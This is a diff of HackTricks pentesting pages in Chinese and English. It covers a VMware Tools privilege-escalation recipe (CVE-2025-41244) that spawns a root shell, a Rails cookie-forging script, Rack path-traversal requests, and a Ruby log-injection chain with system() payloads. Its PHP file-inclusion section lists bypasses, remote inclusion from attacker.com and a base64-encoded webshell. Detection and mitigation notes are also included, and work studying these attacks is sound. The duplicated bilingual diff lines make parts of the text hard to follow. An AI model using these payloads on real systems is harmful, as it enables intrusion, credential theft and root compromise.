2) 以低权限用户运行它并确保它打开任意监听套接字
3) 等待发现周期;特权 collector 会自动执行:/tmp/httpd -v或类似以 root 身份运行你的程序
Minimal demo (using NVISOs approach)
```bash
@ -66,58 +66,58 @@ chmod +x /tmp/httpd
# After the next cycle, expect a root shell or your privileged action
```
典型进程谱系
- 基于凭证: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
- 无凭证: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
工件 (基于凭证)
恢复的 SDMP wrapper scripts 位于 /tmp/VMware-SDMP-Scripts-{UUID}/,可能显示对恶意路径的直接执行:
工件 (credential-based)
位于 /tmp/VMware-SDMP-Scripts-{UUID}/ 下恢复的 SDMP 包装脚本可能会显示对恶意路径的直接执行:
```bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
```
## Generalizing the technique: regex-driven discovery abuse (portable pattern)
## 技术泛化: regex-driven discovery abuse (portable pattern)
许多 agents 和监控套件通过以下方式实现版本/服务发现:
许多 agent 和监控套件通过以下方式实现版本/服务发现:
- 枚举具有监听套接字的进程
- 在 argv/命令行上使用宽松的正则进行匹配(例如包含 \S 的模式)
- 使用无害的标志执行匹配到的路径,例如 -v、--version、-V、-h
- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
- 执行匹配到的路径并带上无害的标志,例如 -v, --version, -V, -h
如果正则接受不受信任的路径且该路径在特权上下文中被执行,就会导致 CWE-426 Untrusted Search Path 执行
如果 regex 接受不受信任的路径并且该路径是在有特权的上下文中被执行,就会导致 CWE-426 Untrusted Search Path execution
Abuse recipe
- 将你的二进制命名为正则很可能匹配的常见 daemonhttpd、nginx、mysqld、dataserver
- 将其放置在可写目录:/tmp/httpd、./nginx
- 确保它能匹配正则并打开任意端口以供枚举
- 等待计划的采集器;你会获得自动的特权调用 <path> -v
滥用流程
- 将你的二进制命名为那些 regex 很可能匹配的常见守护进程名称httpd, nginx, mysqld, dataserver
- 将其放在可写目录中:/tmp/httpd, ./nginx
- 确保它匹配 regex 并打开任意端口以便被枚举
- 等待计划的收集器;你将获得对 <path> -v 的自动特权调用
Masquerading note: 这与 MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) 一致,用以提高匹配概率并增加隐蔽性。
伪装说明:这与 MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) 一致,用于提高匹配概率和隐蔽性。
Reusable privileged I/O relay trick
- 构建你的 helper使得在特权调用-v/--version它连接到一个已知的 rendezvous例如 Linux 抽象 UNIX socket 如 @cve)并将 stdio 桥接到 /bin/sh -i。这样避免了磁盘上的痕迹并在许多环境中有效其中同一个二进制会被带标志再次调用
可重用的特权 I/O 中继技巧
- 构建你的辅助程序,使得在特权调用(-v/--version时它连接到已知的 rendezvous例如@cve 这样的 Linux 抽象 UNIX socket并将 stdio 桥接到 /bin/sh -i。这样可以避免在磁盘上的痕迹并且在许多环境中有效尤其是当同一二进制以标志重新被调用时
## Detection and DFIR guidance
## 检测与 DFIR 指南
Hunting queries
- vmtoolsd 或 get-versions.sh 的非常见子进程,例如 /tmp/httpd、./nginx、/tmp/mysqld
- 任何由发现脚本执行的非系统绝对路径(查看 ${COMMAND%%...} 展开中是否有空格)
- 使用 ps -ef --forest 可视化血统vmtoolsd -> get-versions.sh -> <non-system path>
- vmtoolsd 或 get-versions.sh 的非常见子进程,例如 /tmp/httpd, ./nginx, /tmp/mysqld
- 任何由发现脚本执行的非系统绝对路径(在 ${COMMAND%%...} 展开中查找空格)
- 使用 ps -ef --forest 可视化祖先vmtoolsd -> get-versions.sh -> <non-system path>
On Aria SDMP (credential-based)
- 检查 /tmp/VMware-SDMP-Scripts-{UUID}/ 中的临时脚本和 stdout/stderr 产物,查找显示执行攻击者路径的痕迹
- 检查 /tmp/VMware-SDMP-Scripts-{UUID}/ 是否存在临时脚本和 stdout/stderr 工件,显示攻击者路径的执行
Policy/telemetry
- 当特权采集器从非系统前缀执行时发出告警:^/(tmp|home|var/tmp|dev/shm)/
- 对 get-versions.sh 和 VMware Tools 插件文件完整性监控
- 当特权收集器从非系统前缀执行时发出告警: ^/(tmp|home|var/tmp|dev/shm)/
- 对 get-versions.sh 和 VMware Tools 插件实施文件完整性监控
## Mitigations
## 缓解措施
- Patch为 CVE-2025-41244Tools 和 Aria Operations SDMP应用 Broadcom/VMware 更新
- 在可行时禁用或限制 credential-less discovery
- 验证受信任路径:将执行限制在允许列表目录 (/usr/sbin、/usr/bin、/sbin、/bin) 且仅限精确已知的二进制
- 避免使用包含 \S 的宽松正则;优先使用锚定的、明确的绝对路径和精确命令名
- 在可能为发现 helper 降低权限使用沙箱seccomp/AppArmor以减少影响
- 监控并对 vmtoolsd/get-versions.sh 执行非系统路径发出告警
- 在可行的情况下禁用或限制无凭据的发现
- 验证受信路径:将执行限制为允许的目录 (/usr/sbin, /usr/bin, /sbin, /bin) 并仅允许精确已知的二进制
- 避免使用带有 \S 的宽松 regex;优先使用锚定的、明确的绝对路径和精确命令名
- 在可能的情况下为发现 helper 降低权限使用沙箱seccomp/AppArmor以减少影响
- 监控并对 vmtoolsd/get-versions.sh 执行非系统路径发出告警
## Notes for defenders and implementers
## 给防御者和实现者的说明
Safer matching and execution pattern
```bash
@ -137,8 +137,8 @@ esac
```
## 参考资料
- [NVISO 你说什么VMware 就提升它 (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
- [Broadcom 针对 CVE-2025-41244 的安全通告](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
- [NVISO You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
- [open-vm-tools serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
- [MITRE ATT&CK T1036.005 Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)

View File

@ -1,18 +1,18 @@
# Ruby Tricks
# Ruby 技巧
{{#include ../../banners/hacktricks-training.md}}
## File upload to RCE
## 文件上传导致 RCE
如 [this article](https://www.offsec.com/blog/cve-2024-46986/) 所述,将 `.rb` 文件上传到诸如 `config/initializers/` 的敏感目录可能导致 Ruby on Rails 应用发生远程代码执行 (RCE)。
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
提示:
- 其他在应用启动时执行的 boot/eager-load 位置在可写时也存在风险(例如,`config/initializers/` 是经典位置)。如果你发现任意文件上传落到 `config/` 下的任意位置并随后被评估/require可能会在启动时获得 RCE。
- 寻找将用户控制的文件复制到容器镜像中并在 Rails 启动时加载的 dev/staging 构建。
- 其他在应用启动时执行的 boot/eager-load 位置在可写时也很危险(例如,`config/initializers/` 是典型的例子)。如果你发现任意文件上传被放到 `config/` 下的任何位置并在随后被 evaluated/required则可能在启动时获得 RCE。
- 查找将用户可控文件复制到容器镜像中且 Rails 会在启动时加载它们的 dev/staging 构建。
## Active Storage image transformation → command execution (CVE-2025-24293)
当应用使用 Active Storage 且同时使用 `image_processing` + `mini_magick`并将不受信任的参数传递给图像转换方法时Rails 7.1.5.2 之前 / 7.2.2.2 之前 / 8.0.2.1 之前的版本可能允许命令注入,因为某些转换方法被错误地默认允许。
When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
```erb
@ -20,32 +20,32 @@
```
where `params[:t]` and/or `params[:v]` are attacker-controlled.
- 测试时可尝试
- 识别任何接受 variant/processing 选项、转换名称或任意 ImageMagick 参数的端点。
- `params[:t]``params[:v]` 进行模糊测试,观察可疑错误或执行副作用。如果你能影响方法名或传递原始参数到 MiniMagick可能在图像处理主机上获得代码执行。
- 如果你只有对生成的 variants 的只读访问,尝试通过精心构造的 ImageMagick 操作进行盲提取。
- What to try during testing
- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
- 修复/检测
- 如果你看到 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 并且同时使用 Active Storage + `image_processing` + `mini_magick` 且存在用户可控的转换则应视为可利用建议升级并对方法/参数实施严格白名单以及强化的 ImageMagick 策略
- Remediation/detections
- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
## Rack::Static LFI / path traversal (CVE-2025-27610)
如果目标栈直接或通过框架使用 Rack middleware`rack` 在 2.2.13、3.0.14、3.1.12 之前的版本在 `:root` 未设置/配置错误时允许通过 `Rack::Static` 进行本地文件包含。`PATH_INFO` 中的编码遍历可以暴露进程工作目录或意外的根目录下的文件。
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
- 搜索在 `config.ru` 或 middleware 栈中挂载 `Rack::Static` 的应用。对静态路径尝试编码遍历,例如:
- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
调整前缀以匹配配置的 `urls:`。如果应用返回文件内容,说明你很可能对已解析的 `:root` 下的任何内容具有 LFI。
Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
- 缓解:升级 Rack确保 `:root` 仅指向公共文件目录并显式设置。
- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
Rails 使用从 `secret_key_base` 派生的密钥对 cookies 进行加密和签名。如果该值 leaked例如在仓库、日志或配置错误的凭证中通常可以解密、修改并重新加密 cookies。这通常会导致如果应用将角色、用户 ID 或功能标志存储在 cookies 中的授权绕过。
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
用于解密并重新加密现代 cookies 的最小 Ruby 代码AES-256-GCM近期 Rails 的默认):
```ruby
require 'cgi'
require 'json'
@ -71,12 +71,12 @@ forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
注意:
- 较旧的应用可能使用 AES-256-CBC 并以 `encrypted cookie` / `signed encrypted cookie` 作为 salts,或使用 JSON/Marshal 序列化器。相应地调整 salts、cipher 和 serializer。
- 在被攻破/评估时,轮换 `secret_key_base` 以使所有现有 cookies 失效。
- 较旧的应用可能使用 AES-256-CBC 和 salts `encrypted cookie` / `signed encrypted cookie`,或使用 JSON/Marshal 序列化器。相应地调整 salts、cipher 和 serializer。
- 在妥协/评估时,旋转 `secret_key_base` 以使所有已存在的 cookies 失效。
## 另请参阅Ruby/Rails 特定漏洞)
## 另见 (Ruby/Rails-specific vulns)
- Ruby 反序列化与类污染:
- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
@ -86,15 +86,89 @@ puts "Forged cookie: #{CGI.escape(forged)}"
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Ruby 引擎中的模板注入ERB/Haml/Slim 等):
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
当一个应用(通常是一个简单的 Rack/Sinatra/Rails 端点)同时满足:
- 按原样记录用户可控的字符串,且
- 之后通过 `Pathname#cleanpath` 处理后,从同一字符串派生路径并 `load` 该文件,
通常可以通过污染日志然后强制应用 `load` 日志文件来实现远程代码执行。关键原语:
- Ruby 的 `load` 会将目标文件内容作为 Ruby 解释执行,忽略文件扩展名。任何可读的文本文件,只要其内容能被解析为 Ruby就会被执行。
- `Pathname#cleanpath` 在不访问文件系统的情况下折叠 `.``..` 段,从而允许路径混淆:可在记录时前置攻击者控制的垃圾数据,而清理后的路径仍解析到要执行的目标文件(例如 `../logs/error.log`)。
### 最小易受攻击模式
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
```
### 为什么日志可以包含有效的 Ruby
`Logger` 写入类似以下的前缀行:
```
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
```
在 Ruby 中,`#` 表示注释,`9/2/2025` 只是算术运算。要注入有效的 Ruby 代码,你需要:
- 在新行开始你的 payload这样不会被 INFO 行中的 `#` 注释掉;发送一个前导换行符(`\n``%0A`)。
- 关闭 INFO 行引入的悬空 `[`。常见技巧是以 `]` 开头,并可选地用 `][0]=1` 让解析器满意。
- 然后放入任意 Ruby 代码(例如 `system(...)`)。
以下是使用精心构造的参数进行一次请求后,最终会写入日志的示例:
```
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
```
### 构造一个既会记录代码又会解析为日志路径的单字符串
我们需要一个由攻击者控制的单个字符串,满足:
- 当原样记录时,包含我们的 Ruby payload
- 当通过 `Pathname.new(<input>).cleanpath` 处理时,解析为 `../logs/error.log`,因此随后对该刚被污染的日志文件执行 `load`
Pathname#cleanpath 会忽略 schemes 并折叠遍历组件,所以下面的方法可行:
```ruby
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
```
- 在 `://` 前的 `#` 确保 Ruby 在日志被执行时忽略尾部,而 `cleanpath` 仍会将后缀简化为 `../logs/error.log`
- 前导的 newline 会跳出 INFO 行;`]` 关闭悬挂的括号;`][0]=1` 满足解析器。
### End-to-end exploitation
1. 将以下内容作为备份脚本名发送(如果需要,将第一个 newline URL-encode 为 `%0A`:
```
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
```
2. 应用将你的原始字符串记录到 `logs/error.log`
3. 应用计算 `cleanpath`,解析为 `../logs/error.log` 并对其调用 `load`
4. Ruby 会执行你注入到日志中的代码。
To exfiltrate a file in a CTF-like environment:
```
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
```
URL-encoded PoC (第一个字符是换行符):
```
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
```
## 参考资料
- Rails 安全公告CVE-2025-24293 Active Storage 不安全的转换方法(已在 7.1.5.2 / 7.2.2.2 / 8.0.2.1 修复)。 https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static 本地文件包含 (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Rails 安全公告: CVE-2025-24293 Active Storage unsafe transformation methods (已在 7.1.5.2 / 7.2.2.2 / 8.0.2.1 修复)。 https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub 通报: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -13,11 +13,11 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
如果找到有效的凭据,可以使用更多 metasploit 扫描模块来获取信息。
如果你发现有效凭据,可以使用更多 metasploit scanner modules 来获取信息。
### 另请参阅
### 参见
Linux LPE 通过 VMware Tools 服务发现 (CWE-426 / CVE-2025-41244):
Linux LPE 通过 VMware Tools service discovery (CWE-426 / CVE-2025-41244):
{{#ref}}
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md

View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** 文件从远程服务器加载(最佳情况:你可以写入代码并让服务器执行)。在 php 中默认是 **禁用****allow_url_include**)。\
**Remote File Inclusion (RFI):** 文件从远程服务器加载(最佳情况:你可以写入代码,服务器会执行它)。在 php 中,该选项默认被 **禁用****allow_url_include**)。\
**Local File Inclusion (LFI):** 服务器加载本地文件。
当用户以某种方式能够控制将服务器加载的文件时,就会出现该漏洞。
当用户以某种方式能够控制将服务器加载的文件时,就会出现该漏洞。
被利用的 **PHP functions**: require, require_once, include, include_once
受攻击的 **PHP 函数**: require, require_once, include, include_once
一个用于利用此漏洞的有趣工具: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
利用该漏洞的一个有趣工具: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**我混合了几个 *nix LFI 列表并添加了更多路径,创建了这个:**
我混合了多个 *nix LFI 列表并添加了更多路径,创建了这个:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
也试着把 `/` 改为 `\`
也试着添加 `../../../../../`
Try also to change `/` for `\`\
Try also to add `../../../../../`
可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)找到一个使用多种技术查找文件 /etc/password用于检查漏洞是否存在的列表
可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)找到一个使用多种技术查找文件 /etc/password用于检查漏洞是否存在的列表
### **Windows**
不同 wordlists 合并:
不同 wordlists 合并:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
也试着把 `/` 改为 `\`
也试着移除 `C:/` 并添加 `../../../../../`
Try also to change `/` for `\`\
Try also to remove `C:/` and add `../../../../../`
可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)找到一个使用多种技术查找文件 /boot.ini用于检查漏洞是否存在的列表
可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)找到一个使用多种技术查找文件 /boot.ini用于检查漏洞是否存在的列表
### **OS X**
查看 linux 的 LFI 列表。
## Basic LFI and bypasses
## 基本的 LFI 及绕过方法
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
所有示例均针对 Local File Inclusion但也可应用于 Remote File Inclusionpage=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences 被非递归地剥离
### traversal sequences stripped non-recursively
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
绕过在提供的字符串末尾追加更多字符的限制(绕过: $\_GET\['param']."php"
Bypass 在提供的字符串末尾追加更多字符 (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
**PHP 5.4** 起已解决
在 **PHP 5.4 之后已解决**
### **编码**
你可以使用非标准编码,如 double URL encode以及其他
你可以使用非标准编码,如 double URL encode以及其他
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### 从已存在的文件夹
### 从现有文件夹
也许后端正在检查文件夹路径:
可能后端正在检查文件夹路径:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### 在服务器上探索文件系统目录
服务器的文件系统可以通过递归方式来识别目录(不仅限于文件),方法是使用某些技术。此过程包括确定目录深度并探测特定文件夹是否存在。下面是实现此目的的详细方法:
可以通过某些技术递归地探索服务器的文件系统来识别目录,而不仅仅是文件。该过程涉及确定目录深度并探测特定文件夹是否存在。下面是实现该目标的详细方法:
1. **Determine Directory Depth:** 通过成功获取 `/etc/passwd` 文件来确认当前目录的深度(适用于基于 Linux 的服务器)。示例 URL 可能如下所示,表示深度为三:
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度(如果服务器基于 Linux则适用。例如一个 URL 可能如下所示,表示深度为三:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **探测文件夹:** 将怀疑的文件夹名(例如,`private`)附加到 URL然后返回到 `/etc/passwd`。额外的目录层级需要将深度增加一层:
2. **探测文件夹:** 在 URL 后追加疑似文件夹名(例如,`private`),然后导航回 `/etc/passwd`。额外的目录层级需要将深度增加一层:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **解释结果:** 服务器的响应表明该文件夹是否存在:
- **错误 / 无输出** 指定位置很可能不存在 `private` 文件夹。
- **显示 `/etc/passwd` 的内容** 确认存在 `private` 文件夹。
4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法进一步探测其子目录或文件。
3. **解释结果:** 服务器的响应表明该文件夹是否存在:
- **Error / No Output** 指定位置很可能不存在 `private` 文件夹。
- **Contents of `/etc/passwd`** 确认存在 `private` 文件夹。
4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法进一步探测其子目录或文件。
探索文件系统中不同位置的目录,请相应调整 payload。例如要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3使用
在文件系统的不同位置探索目录,请相应调整 payload。例如要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3使用:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation 是一种在 web 应用中操纵文件路径的方法。它通常用于通过绕过那些在文件路径末尾附加额外字符的安全措施来访问受限文件。目标是精心构造一个文件路径,使得在安全机制修改后仍然指向目标文件。
Path truncation 是一种用于操纵 web 应用中文件路径的方法。它常被用来通过绕过那些在文件路径末尾追加额外字符的安全措施以访问受限文件。目标是构造一个文件路径,使得在被安全措施修改后仍然指向目标文件。
在 PHP 中,由于文件系统的行为,同一文件路径可以有多种等价表示。例如:
In PHP 中,由于文件系统的特性,同一路径可以有多种表示方式被视为等价。例如:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` 都被视为相同的路径。
- 当最后 6 个字符是 `passwd` 时,加一个 `/`(变成 `passwd/`)不会改变目标文件。
- 类似地,如果文件路径末尾有 `.php`(例如 `shellcode.php`),在末尾`/.` 不会改变被访问的文件。
- 当最后 6 个字符是 `passwd` 时,加一个 `/`(变成 `passwd/`)不会改变目标文件。
- 类似地,如果在文件路径末尾附加了 `.php`(例如 `shellcode.php`),在末尾加 `/.` 不会改变被访问的文件。
下面的示例演示如何利用 path truncation 访问 `/etc/passwd`,这是一个常见目标,因为它包含敏感内容(用户账户信息):
下面的示例演示如何利用 path truncation 访问 `/etc/passwd`,这是一个常见目标,因为它包含敏感内容(用户账户信息):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
在这些情况下,所需的遍历次数可能大约为 2027但此数字会根据服务器配置而有所不同
在这些场景中,所需的 traversals 数量可能约为 2027但该数量会根据服务器的配置而变化
- **Using Dot Segments and Additional Characters**: 可以使用遍历序列(`../`)配合额外的点段和字符来在文件系统中导航,实际上可以使服务器附加的字符串被忽略。
- **Determining the Required Number of Traversals**: 通过反复试验,可以找到精确的 `../` 序列数量,以导航到根目录然后到 `/etc/passwd`,确保任何附加的字符串(例如 `.php`)被中和,同时所需路径(`/etc/passwd`)保持不变
- **Starting with a Fake Directory**: 通常会在路径前加上一个不存在的目录(例如 `a/`)。这种做法作为一种预防措施或用于满足服务器路径解析逻辑的要求。
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) 与额外的点段和字符组合,可用于在文件系统中导航,从而使服务器追加的字符串被有效忽略。
- **Determining the Required Number of Traversals**: 通过反复试验,可以找到导航到根目录再到 `/etc/passwd` 所需的精确 `../` 序列数,确保任何被追加的字符串(例如 `.php`)被中和,同时目标路径 (`/etc/passwd`) 保持完整
- **Starting with a Fake Directory**: 常见做法是以一个不存在的目录(例如 `a/`)开始路径。此方法用作预防措施或用于满足服务器路径解析逻辑的要求。
在使用 path truncation techniques 时,了解服务器的路径解析行为和文件系统结构至关重要。每种情形可能需要不同的方法,通常需要通过测试来找到最有效的手段
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. 每种情形可能需要不同的方法,通常需要通过测试来找到最有效的方式
**漏洞已在 PHP 5.3 中修复。**
**漏洞已在 PHP 5.3 中修复。**
### **Filter bypass tricks**
```
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
在 php 中,这默认被禁用,因为 **`allow_url_include`** 是 **Off.** 必须为 **On** 才能生效,在这种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE
在 php 中此功能默认被禁用,因为 **`allow_url_include`** 是 **Off.** 要使其工作必须设置**On**,在这种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
如果由于某些原因 **`allow_url_include`** 为 **On**,但 PHP 正在 **filtering** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以例如使用 data 协议 配 base64 来解码 b64 PHP 代码并获得 RCE
如果因为某些原因 **`allow_url_include`** 是 **On**,但 PHP 正在 **filtering** 对外部网页的访问, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以例如使用 data 协议 配 base64 来解码 b64 PHP 代码并获得 RCE
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> 在前面的代码中,最后的 `+.txt` 是被添加上去,因为 attacker 需要一个以 `.txt` 结尾的字符串所以字符串以此结尾b64 decode 之后那部分会变成垃圾,而真正的 PHP 代码会被包含(并因此被执行)。
Another example **not using the `php://` protocol** would be:
> 在之前的代码中,末尾的 `+.txt` 是添加进去的,因为攻击者需要一个以 `.txt` 结尾的字符串,所以字符串以它结束,且在 b64 decode 之后,那部分将只返回垃圾数据,而真正的 PHP 代码会被包含(因此被执行)。
>
> 另一个**不使用 `php://` 协议**的示例为:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python 根元素
Python 中,如下代码所示
python 中,在像下面这样的代码中
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
如果用户**`file_name`** 传递了一个 **absolute path**,则**之前的路径会被移除**
如果用户将**绝对路径**传递给**`file_name`**,则**先前的路径会被移除**
```python
